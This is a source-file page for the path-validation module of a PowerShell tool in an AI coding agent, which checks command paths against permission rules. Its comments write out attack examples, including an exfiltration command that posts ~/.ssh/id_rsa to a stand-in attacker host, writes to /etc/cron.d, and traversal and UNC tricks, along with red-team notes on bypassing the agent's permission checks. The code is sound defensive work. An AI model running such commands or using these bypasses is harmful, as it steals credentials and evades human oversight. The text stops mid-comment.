π File detail
tools/PowerShellTool/pathValidation.ts
π― Use case
This module implements the βPowerShellToolβ tool (Power Shell) β something the model can call at runtime alongside other agent tools. On the API surface it exposes isDangerousRemovalRawPath, dangerousRemovalDeny, and checkPathConstraints β mainly functions, hooks, or classes. Dependencies touch Node OS/process metadata and Node path helpers. It composes internal code from Tool, types, utils, commonParameters, and readOnlyValidation (relative imports). What the file header says: PowerShell-specific path validation for command arguments. Extracts file paths from PowerShell commands using the AST parser and validates they stay within allowed project directories. Follows the same patterns as BashTool/pathValidation.ts.
Generated from folder role, exports, dependency roots, and inline comments β not hand-reviewed for every path.
π§ Inline summary
PowerShell-specific path validation for command arguments. Extracts file paths from PowerShell commands using the AST parser and validates they stay within allowed project directories. Follows the same patterns as BashTool/pathValidation.ts.
π€ Exports (heuristic)
isDangerousRemovalRawPathdangerousRemovalDenycheckPathConstraints
π External import roots
Package roots from from "β¦" (relative paths omitted).
ospath
π₯οΈ Source preview
/**
* PowerShell-specific path validation for command arguments.
*
* Extracts file paths from PowerShell commands using the AST parser
* and validates they stay within allowed project directories.
* Follows the same patterns as BashTool/pathValidation.ts.
*/
import { homedir } from 'os'
import { isAbsolute, resolve } from 'path'
import type { ToolPermissionContext } from '../../Tool.js'
import type { PermissionRule } from '../../types/permissions.js'
import { getCwd } from '../../utils/cwd.js'
import {
getFsImplementation,
safeResolvePath,
} from '../../utils/fsOperations.js'
import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js'
import {
allWorkingDirectories,
checkEditableInternalPath,
checkPathSafetyForAutoEdit,
checkReadableInternalPath,
matchingRuleForInput,
pathInAllowedWorkingPath,
} from '../../utils/permissions/filesystem.js'
import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
import {
isDangerousRemovalPath,
isPathInSandboxWriteAllowlist,
} from '../../utils/permissions/pathValidation.js'
import { getPlatform } from '../../utils/platform.js'
import type {
ParsedCommandElement,
ParsedPowerShellCommand,
} from '../../utils/powershell/parser.js'
import {
isNullRedirectionTarget,
isPowerShellParameter,
} from '../../utils/powershell/parser.js'
import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js'
import { resolveToCanonical } from './readOnlyValidation.js'
const MAX_DIRS_TO_LIST = 5
// PowerShell wildcards are only * ? [ ] β braces are LITERAL characters
// (no brace expansion). Including {} mis-routed paths like `./{x}/passwd`
// through glob-base truncation instead of full-path symlink resolution.
const GLOB_PATTERN_REGEX = /[*?[\]]/
type FileOperationType = 'read' | 'write' | 'create'
type PathCheckResult = {
allowed: boolean
decisionReason?: import('../../utils/permissions/PermissionResult.js').PermissionDecisionReason
}
type ResolvedPathCheckResult = PathCheckResult & {
resolvedPath: string
}
/**
* Per-cmdlet parameter configuration.
*
* Each entry declares:
* - operationType: whether this cmdlet reads or writes to the filesystem
* - pathParams: parameters that accept file paths (validated against allowed directories)
* - knownSwitches: switch parameters (take NO value) β next arg is NOT consumed
* - knownValueParams: value-taking parameters that are NOT paths β next arg IS consumed
* but NOT validated as a path (e.g., -Encoding UTF8, -Filter *.txt)
*
* SECURITY MODEL: Any -Param NOT in one of these three sets forces
* hasUnvalidatablePathArg β ask. This ends the KNOWN_SWITCH_PARAMS whack-a-mole
* where every missing switch caused the unknown-param heuristic to swallow the
* next arg (potentially the positional path). Now, Tier 2 cmdlets only auto-allow
* with invocations we fully understand.
*
* Sources:
* - (Get-Command <cmdlet>).Parameters on Windows PowerShell 5.1
* - PS 6+ additions from official docs (e.g., -AsByteStream, -NoEmphasis)
*
* NOTE: Common parameters (-Verbose, -ErrorAction, etc.) are NOT listed here;
* they are merged in from COMMON_SWITCHES / COMMON_VALUE_PARAMS at lookup time.
*
* Parameter names are lowercase with leading dash to match runtime comparison.
*/
type CmdletPathConfig = {
operationType: FileOperationType
/** Parameter names that accept file paths (validated against allowed directories) */
pathParams: string[]
/** Switch parameters that take no value (next arg is NOT consumed) */
knownSwitches: string[]
/** Value-taking parameters that are not paths (next arg IS consumed, not path-validated) */
knownValueParams: string[]
/**
* Parameter names that accept a leaf filename resolved by PowerShell
* relative to ANOTHER parameter (not cwd). Safe to extract only when the
* value is a simple leaf (no `/`, `\`, `.`, `..`). Non-leaf values are
* flagged as unvalidatable because validatePath resolves against cwd, not
* the actual base β joining against -Path would need cross-parameter
* tracking.
*/
leafOnlyPathParams?: string[]
/**
* Number of leading positional arguments to skip (NOT extracted as paths).
* Used for cmdlets where positional-0 is a non-path value β e.g.,
* Invoke-WebRequest's positional -Uri is a URL, not a local filesystem path.
* Without this, `iwr http://example.com` extracts `http://example.com` as
* a path, and validatePath's provider-path regex (^[a-z]{2,}:) misfires on
* the URL scheme with a confusing "non-filesystem provider" message.
*/
positionalSkip?: number
/**
* When true, this cmdlet only writes to disk when a pathParam is present.
* Without a path (e.g., `Invoke-WebRequest https://example.com` with no
* -OutFile), it's effectively a read operation β output goes to the pipeline,
* not the filesystem. Skips the "write with no target path" forced-ask.
* Cmdlets like Set-Content that ALWAYS write should NOT set this.
*/
optionalWrite?: boolean
}
const CMDLET_PATH_CONFIG: Record<string, CmdletPathConfig> = {
// βββ Write/create operations ββββββββββββββββββββββββββββββββββββββββββββββ
'set-content': {
operationType: 'write',
// -PSPath and -LP are runtime aliases for -LiteralPath on all provider
// cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the
// unknown-param branch β path trapped β paths=[] β deny never consulted.
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-passthru',
'-force',
'-whatif',
'-confirm',
'-usetransaction',
'-nonewline',
'-asbytestream', // PS 6+
],
knownValueParams: [
'-value',
'-filter',
'-include',
'-exclude',
'-credential',
'-encoding',
'-stream',
],
},
'add-content': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-passthru',
'-force',
'-whatif',
'-confirm',
'-usetransaction',
'-nonewline',
'-asbytestream', // PS 6+
],
knownValueParams: [
'-value',
'-filter',
'-include',
'-exclude',
'-credential',
'-encoding',
'-stream',
],
},
'remove-item': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-recurse',
'-force',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-credential',
'-stream',
],
},
'clear-content': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-credential',
'-stream',
],
},
// Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level
// deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only
// *asked* for `Out-File /etc/x`. All four are write cmdlets that accept
// file paths positionally.
'out-file': {
operationType: 'write',
// Out-File uses -FilePath (position 0). -Path is PowerShell's documented
// ALIAS for -FilePath β must be in pathParams or `Out-File -Path:./x`
// (colon syntax, one token) falls to unknown-param β value trapped β
// paths=[] β Edit deny never consulted β ask (fail-safe but deny downgrade).
pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-append',
'-force',
'-noclobber',
'-nonewline',
'-whatif',
'-confirm',
],
knownValueParams: ['-inputobject', '-encoding', '-width'],
},
'tee-object': {
operationType: 'write',
// Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path.
pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-append'],
knownValueParams: ['-inputobject', '-variable', '-encoding'],
},
'export-csv': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-append',
'-force',
'-noclobber',
'-notypeinformation',
'-includetypeinformation',
'-useculture',
'-noheader',
'-whatif',
'-confirm',
],
knownValueParams: [
'-inputobject',
'-delimiter',
'-encoding',
'-quotefields',
'-usequotes',
],
},
'export-clixml': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'],
knownValueParams: ['-inputobject', '-depth', '-encoding'],
},
// New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` β
// resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES β not in
// config β early return {paths:[], 'read'} β Edit deny never consulted.
//
// Copy-Item/Move-Item have DUAL path params (-Path source, -Destination
// dest). operationType:'write' is imperfect β source is semantically a read
// β but it means BOTH paths get Edit-deny validation, which is strictly
// safer than extracting neither. A per-param operationType would be ideal
// but that's a bigger schema change; blunt 'write' closes the gap now.
'new-item': {
operationType: 'write',
// -Path is position 0. -Name (position 1) is resolved by PowerShell
// RELATIVE TO -Path (per MS docs: "you can specify the path of the new
// item in Name"), including `..` traversal. We resolve against CWD
// (validatePath L930), not -Path β so `New-Item -Path /allowed
// -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil,
// but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss
// the deny rule. This is a denyβask downgrade, not fail-safe.
//
// -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are
// extracted (resolves to cwd/foo.txt β slightly wrong, but -Path
// extraction covers the directory, and a leaf can't traverse);
// any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg β
// ask. Joining -Name against -Path would be correct but needs
// cross-parameter tracking β out of scope here.
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
leafOnlyPathParams: ['-name'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: ['-itemtype', '-value', '-credential', '-type'],
},
'copy-item': {
operationType: 'write',
// -Path (position 0) is source, -Destination (position 1) is dest.
// Both extracted; both validated as write.
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
knownSwitches: [
'-container',
'-force',
'-passthru',
'-recurse',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-credential',
'-fromsession',
'-tosession',
],
},
'move-item': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
knownSwitches: [
'-force',
'-passthru',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
},
// rename-item/set-item: same class β ren/rni/si in COMMON_ALIASES, neither
// was in config. `ren /etc/passwd passwd.bak` β resolves to rename-item
// β not in config β {paths:[], 'read'} β Edit deny bypassed. This closes
// the COMMON_ALIASESβCMDLET_PATH_CONFIG coverage audit: every
// write-cmdlet alias now resolves to a config entry.
'rename-item': {
operationType: 'write',
// -Path position 0, -NewName position 1. -NewName is leaf-only (docs:
// "You cannot specify a new drive or a different path") and Rename-Item
// explicitly rejects `..` in it β so knownValueParams is correct here,
// unlike New-Item -Name which accepts traversal.
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-force',
'-passthru',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-newname',
'-credential',
'-filter',
'-include',
'-exclude',
],
},
'set-item': {
operationType: 'write',
// FileSystem provider throws NotSupportedException for Set-Item content,
// so the practical write surface is registry/env/function/alias providers.
// Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at
// step 3.5 in powershellPermissions.ts, but classifying set-item as write
// here is defense-in-depth β powershellSecurity.ts:379 already lists it
// in ENV_WRITE_CMDLETS; this makes pathValidation consistent.
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-force',
'-passthru',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-value',
'-credential',
'-filter',
'-include',
'-exclude',
],
},
// βββ Read operations ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
'get-content': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-force',
'-usetransaction',
'-wait',
'-raw',
'-asbytestream', // PS 6+
],
knownValueParams: [
'-readcount',
'-totalcount',
'-tail',
'-first', // alias for -TotalCount
'-head', // alias for -TotalCount
'-last', // alias for -Tail
'-filter',
'-include',
'-exclude',
'-credential',
'-delimiter',
'-encoding',
'-stream',
],
},
'get-childitem': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-recurse',
'-force',
'-name',
'-usetransaction',
'-followsymlink',
'-directory',
'-file',
'-hidden',
'-readonly',
'-system',
],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-depth',
'-attributes',
'-credential',
],
},
'get-item': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-usetransaction'],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-credential',
'-stream',
],
},
'get-itemproperty': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-usetransaction'],
knownValueParams: [
'-name',
'-filter',
'-include',
'-exclude',
'-credential',
],
},
'get-itempropertyvalue': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-usetransaction'],
knownValueParams: [
'-name',
'-filter',
'-include',
'-exclude',
'-credential',
],
},
'get-filehash': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [],
knownValueParams: ['-algorithm', '-inputstream'],
},
'get-acl': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'],
knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'],
},
'format-hex': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-raw'],
knownValueParams: [
'-inputobject',
'-encoding',
'-count', // PS 6+
'-offset', // PS 6+
],
},
'test-path': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-isvalid', '-usetransaction'],
knownValueParams: [
'-filter',
'-include',
'-exclude',
'-pathtype',
'-credential',
'-olderthan',
'-newerthan',
],
},
'resolve-path': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-relative', '-usetransaction', '-force'],
knownValueParams: ['-credential', '-relativebasepath'],
},
'convert-path': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-usetransaction'],
knownValueParams: [],
},
'select-string': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-simplematch',
'-casesensitive',
'-quiet',
'-list',
'-notmatch',
'-allmatches',
'-noemphasis', // PS 7+
'-raw', // PS 7+
],
knownValueParams: [
'-inputobject',
'-pattern',
'-include',
'-exclude',
'-encoding',
'-context',
'-culture', // PS 7+
],
},
'set-location': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-passthru', '-usetransaction'],
knownValueParams: ['-stackname'],
},
'push-location': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-passthru', '-usetransaction'],
knownValueParams: ['-stackname'],
},
'pop-location': {
operationType: 'read',
// Pop-Location has no -Path/-LiteralPath (it pops from the stack),
// but we keep the entry so it passes through path validation gracefully.
pathParams: [],
knownSwitches: ['-passthru', '-usetransaction'],
knownValueParams: ['-stackname'],
},
'select-xml': {
operationType: 'read',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [],
knownValueParams: ['-xml', '-content', '-xpath', '-namespace'],
},
'get-winevent': {
operationType: 'read',
// Get-WinEvent only has -Path, no -LiteralPath
pathParams: ['-path'],
knownSwitches: ['-force', '-oldest'],
knownValueParams: [
'-listlog',
'-logname',
'-listprovider',
'-providername',
'-maxevents',
'-computername',
'-credential',
'-filterxpath',
'-filterxml',
'-filterhashtable',
],
},
// Write-path cmdlets with output parameters. Without these entries,
// -OutFile / -DestinationPath would write to arbitrary paths unvalidated.
'invoke-webrequest': {
operationType: 'write',
// -OutFile is the write target; -InFile is a read source (uploads a local
// file). Both are in pathParams so Edit deny rules are consulted (this
// config is operationType:write β permissionType:edit). A user with
// Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST
// -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted
// for write-type cmdlets β that's a known limitation of the
// operationTypeβpermissionType mapping.
pathParams: ['-outfile', '-infile'],
positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only
knownSwitches: [
'-allowinsecureredirect',
'-allowunencryptedauthentication',
'-disablekeepalive',
'-nobodyprogress',
'-passthru',
'-preservefileauthorizationmetadata',
'-resume',
'-skipcertificatecheck',
'-skipheadervalidation',
'-skiphttperrorcheck',
'-usebasicparsing',
'-usedefaultcredentials',
],
knownValueParams: [
'-uri',
'-method',
'-body',
'-contenttype',
'-headers',
'-maximumredirection',
'-maximumretrycount',
'-proxy',
'-proxycredential',
'-retryintervalsec',
'-sessionvariable',
'-timeoutsec',
'-token',
'-transferencoding',
'-useragent',
'-websession',
'-credential',
'-authentication',
'-certificate',
'-certificatethumbprint',
'-form',
'-httpversion',
],
},
'invoke-restmethod': {
operationType: 'write',
// -OutFile is the write target; -InFile is a read source (uploads a local
// file). Both must be in pathParams so deny rules are consulted.
pathParams: ['-outfile', '-infile'],
positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only
knownSwitches: [
'-allowinsecureredirect',
'-allowunencryptedauthentication',
'-disablekeepalive',
'-followrellink',
'-nobodyprogress',
'-passthru',
'-preservefileauthorizationmetadata',
'-resume',
'-skipcertificatecheck',
'-skipheadervalidation',
'-skiphttperrorcheck',
'-usebasicparsing',
'-usedefaultcredentials',
],
knownValueParams: [
'-uri',
'-method',
'-body',
'-contenttype',
'-headers',
'-maximumfollowrellink',
'-maximumredirection',
'-maximumretrycount',
'-proxy',
'-proxycredential',
'-responseheaderstvariable',
'-retryintervalsec',
'-sessionvariable',
'-statuscodevariable',
'-timeoutsec',
'-token',
'-transferencoding',
'-useragent',
'-websession',
'-credential',
'-authentication',
'-certificate',
'-certificatethumbprint',
'-form',
'-httpversion',
],
},
'expand-archive': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'],
knownValueParams: [],
},
'compress-archive': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'],
knownValueParams: ['-compressionlevel'],
},
// *-ItemProperty cmdlets: primary use is the Registry provider (set/new/
// remove a registry VALUE under a key). Provider-qualified paths (HKLM:\,
// HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts.
// Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring
// set-item's rationale.
'set-itemproperty': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-passthru',
'-force',
'-whatif',
'-confirm',
'-usetransaction',
],
knownValueParams: [
'-name',
'-value',
'-type',
'-filter',
'-include',
'-exclude',
'-credential',
'-inputobject',
],
},
'new-itemproperty': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: [
'-name',
'-value',
'-propertytype',
'-type',
'-filter',
'-include',
'-exclude',
'-credential',
],
},
'remove-itemproperty': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: [
'-name',
'-filter',
'-include',
'-exclude',
'-credential',
],
},
'clear-item': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
},
'export-alias': {
operationType: 'write',
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
knownSwitches: [
'-append',
'-force',
'-noclobber',
'-passthru',
'-whatif',
'-confirm',
],
knownValueParams: ['-name', '-description', '-scope', '-as'],
},
}
/**
* Checks if a lowercase parameter name (with leading dash) matches any entry
* in the given param list, accounting for PowerShell's prefix-matching behavior
* (e.g., -Lit matches -LiteralPath).
*/
function matchesParam(paramLower: string, paramList: string[]): boolean {
for (const p of paramList) {
if (
p === paramLower ||
(paramLower.length > 1 && p.startsWith(paramLower))
) {
return true
}
}
return false
}
/**
* Returns true if a colon-syntax value contains expression constructs that
* mask the real runtime path (arrays, subexpressions, variables, backtick
* escapes). The outer CommandParameterAst 'Parameter' element type hides
* these from our AST walk, so we must detect them textually.
*
* Used in three branches of extractPathsFromCommand: pathParams,
* leafOnlyPathParams, and the unknown-param defense-in-depth branch.
*/
function hasComplexColonValue(rawValue: string): boolean {
return (
rawValue.includes(',') ||
rawValue.startsWith('(') ||
rawValue.startsWith('[') ||
rawValue.includes('`') ||
rawValue.includes('@(') ||
rawValue.startsWith('@{') ||
rawValue.includes('$')
)
}
function formatDirectoryList(directories: string[]): string {
const dirCount = directories.length
if (dirCount <= MAX_DIRS_TO_LIST) {
return directories.map(dir => `'${dir}'`).join(', ')
}
const firstDirs = directories
.slice(0, MAX_DIRS_TO_LIST)
.map(dir => `'${dir}'`)
.join(', ')
return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more`
}
/**
* Expands tilde (~) at the start of a path to the user's home directory.
*/
function expandTilde(filePath: string): string {
if (
filePath === '~' ||
filePath.startsWith('~/') ||
filePath.startsWith('~\\')
) {
return homedir() + filePath.slice(1)
}
return filePath
}
/**
* Checks the raw user-provided path (pre-realpath) for dangerous removal
* targets. safeResolvePath/realpathSync canonicalizes in ways that defeat
* isDangerousRemovalPath: on Windows '/' β 'C:\' (fails the === '/' check);
* on macOS homedir() may be under /var which realpathSync rewrites to
* /private/var (fails the === homedir() check). Checking the tilde-expanded,
* backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr)
* as the user typed them.
*/
export function isDangerousRemovalRawPath(filePath: string): boolean {
const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace(
/\\/g,
'/',
)
return isDangerousRemovalPath(expanded)
}
export function dangerousRemovalDeny(path: string): PermissionResult {
return {
behavior: 'deny',
message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`,
decisionReason: {
type: 'other',
reason: 'Removal targets a protected system path',
},
}
}
/**
* Checks if a resolved path is allowed for the given operation type.
* Mirrors the logic in BashTool/pathValidation.ts isPathAllowed.
*/
function isPathAllowed(
resolvedPath: string,
context: ToolPermissionContext,
operationType: FileOperationType,
precomputedPathsToCheck?: readonly string[],
): PathCheckResult {
const permissionType = operationType === 'read' ? 'read' : 'edit'
// 1. Check deny rules first
const denyRule = matchingRuleForInput(
resolvedPath,
context,
permissionType,
'deny',
)
if (denyRule !== null) {
return {
allowed: false,
decisionReason: { type: 'rule', rule: denyRule },
}
}
// 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs)
// This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory
// and internal editable paths live under ~/.claude/ β matching the ordering in
// checkWritePermissionForTool (filesystem.ts step 1.5)
if (operationType !== 'read') {
const internalEditResult = checkEditableInternalPath(resolvedPath, {})
if (internalEditResult.behavior === 'allow') {
return {
allowed: true,
decisionReason: internalEditResult.decisionReason,
}
}
}
// 2.5. For write/create operations, check safety validations
if (operationType !== 'read') {
const safetyCheck = checkPathSafetyForAutoEdit(
resolvedPath,
precomputedPathsToCheck,
)
if (!safetyCheck.safe) {
return {
allowed: false,
decisionReason: {
type: 'safetyCheck',
reason: safetyCheck.message,
classifierApprovable: safetyCheck.classifierApprovable,
},
}
}
}
// 3. Check if path is in allowed working directory
const isInWorkingDir = pathInAllowedWorkingPath(
resolvedPath,
context,
precomputedPathsToCheck,
)
if (isInWorkingDir) {
if (operationType === 'read' || context.mode === 'acceptEdits') {
return { allowed: true }
}
}
// 3.5. For read operations, check internal readable paths
if (operationType === 'read') {
const internalReadResult = checkReadableInternalPath(resolvedPath, {})
if (internalReadResult.behavior === 'allow') {
return {
allowed: true,
decisionReason: internalReadResult.decisionReason,
}
}
}
// 3.7. For write/create operations to paths OUTSIDE the working directory,
// check the sandbox write allowlist. When the sandbox is enabled, users
// have explicitly configured writable directories (e.g. /tmp/claude/) β
// treat these as additional allowed write directories so redirects/Out-File/
// New-Item don't prompt unnecessarily. Paths IN the working directory are
// excluded: the sandbox allowlist always seeds '.' (cwd), which would
// bypass the acceptEdits gate at step 3.
if (
operationType !== 'read' &&
!isInWorkingDir &&
isPathInSandboxWriteAllowlist(resolvedPath)
) {
return {
allowed: true,
decisionReason: {
type: 'other',
reason: 'Path is in sandbox write allowlist',
},
}
}
// 4. Check allow rules
const allowRule = matchingRuleForInput(
resolvedPath,
context,
permissionType,
'allow',
)
if (allowRule !== null) {
return {
allowed: true,
decisionReason: { type: 'rule', rule: allowRule },
}
}
// 5. Path is not allowed
return { allowed: false }
}
/**
* Best-effort deny check for paths obscured by :: or backtick syntax.
* ONLY checks deny rules β never auto-allows. If the stripped guess
* doesn't match a deny rule, we fall through to ask as before.
*/
function checkDenyRuleForGuessedPath(
strippedPath: string,
cwd: string,
toolPermissionContext: ToolPermissionContext,
operationType: FileOperationType,
): { resolvedPath: string; rule: PermissionRule } | null {
// Red-team P7: null bytes make expandPath throw. Pre-existing but
// defend here since we're introducing a new call path.
if (!strippedPath || strippedPath.includes('\0')) return null
// Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires
// on leading ~ β the backtick was in front of it. Re-run here.
const tildeExpanded = expandTilde(strippedPath)
const abs = isAbsolute(tildeExpanded)
? tildeExpanded
: resolve(cwd, tildeExpanded)
const { resolvedPath } = safeResolvePath(getFsImplementation(), abs)
const permissionType = operationType === 'read' ? 'read' : 'edit'
const denyRule = matchingRuleForInput(
resolvedPath,
toolPermissionContext,
permissionType,
'deny',
)
return denyRule ? { resolvedPath, rule: denyRule } : null
}
/**
* Validates a file system path, handling tilde expansion.
*/
function validatePath(
filePath: string,
cwd: string,
toolPermissionContext: ToolPermissionContext,
operationType: FileOperationType,
): ResolvedPathCheckResult {
// Remove surrounding quotes if present
const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, ''))
// SECURITY: PowerShell Core normalizes backslashes to forward slashes on all
// platforms, but path.resolve on Linux/Mac treats them as literal characters.
// Normalize before resolution so traversal patterns like dir\..\..\etc\shadow
// are correctly detected.
const normalizedPath = cleanPath.replace(/\\/g, '/')
// SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in
// many positions (e.g., `/ === /) but defeats Node.js path checks like
// isAbsolute(). Redirection targets use raw .Extent.Text which preserves
// backtick escapes. Treat any path containing a backtick as unvalidatable.
if (normalizedPath.includes('`')) {
// Red-team P3: backtick is already resolved for StringConstant args
// (parser uses .value); this guard primarily fires for redirection
// targets which use raw .Extent.Text. Strip is a no-op for most special
// escapes (`n β n) but that's fine β wrong guess β no deny match β
// falls to ask.
const backtickStripped = normalizedPath.replace(/`/g, '')
const denyHit = checkDenyRuleForGuessedPath(
backtickStripped,
cwd,
toolPermissionContext,
operationType,
)
if (denyHit) {
return {
allowed: false,
resolvedPath: denyHit.resolvedPath,
decisionReason: { type: 'rule', rule: denyHit.rule },
}
}
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason:
'Backtick escape characters in paths cannot be statically validated and require manual approval',
},
}
}
// SECURITY: Block module-qualified provider paths. PowerShell allows
// `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to
// `/etc/passwd` via the FileSystem provider. The `::` is the provider
// path separator and doesn't match the simple `^[a-z]{2,}:` regex.
if (normalizedPath.includes('::')) {
// Strip everything up to and including the first :: β handles both
// FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path.
// Double-:: (Foo::Bar::/x) strips first only β 'Bar::/x' β resolve
// makes it {cwd}/Bar::/x β won't match real deny rules β falls to ask.
// Safe.
const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2)
const denyHit = checkDenyRuleForGuessedPath(
afterProvider,
cwd,
toolPermissionContext,
operationType,
)
if (denyHit) {
return {
allowed: false,
resolvedPath: denyHit.resolvedPath,
decisionReason: { type: 'rule', rule: denyHit.rule },
}
}
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason:
'Module-qualified provider paths (::) cannot be statically validated and require manual approval',
},
}
}
// SECURITY: Block UNC paths β they can trigger network requests and
// leak NTLM/Kerberos credentials
if (
normalizedPath.startsWith('//') ||
/DavWWWRoot/i.test(normalizedPath) ||
/@SSL@/i.test(normalizedPath)
) {
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason:
'UNC paths are blocked because they can trigger network requests and credential leakage',
},
}
}
// SECURITY: Reject paths containing shell expansion syntax
if (normalizedPath.includes('$') || normalizedPath.includes('%')) {
return {
allowed: false,
resolvedPath: normalizedPath,
decisionReason: {
type: 'other',
reason: 'Variable expansion syntax in paths requires manual approval',
},
}
}
// SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.)
// These paths access non-filesystem resources and must require manual approval.
// This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'.
//
// Platform split (findings #21/#28):
// - Windows: require 2+ letters before ':' so native drive letters (C:, D:)
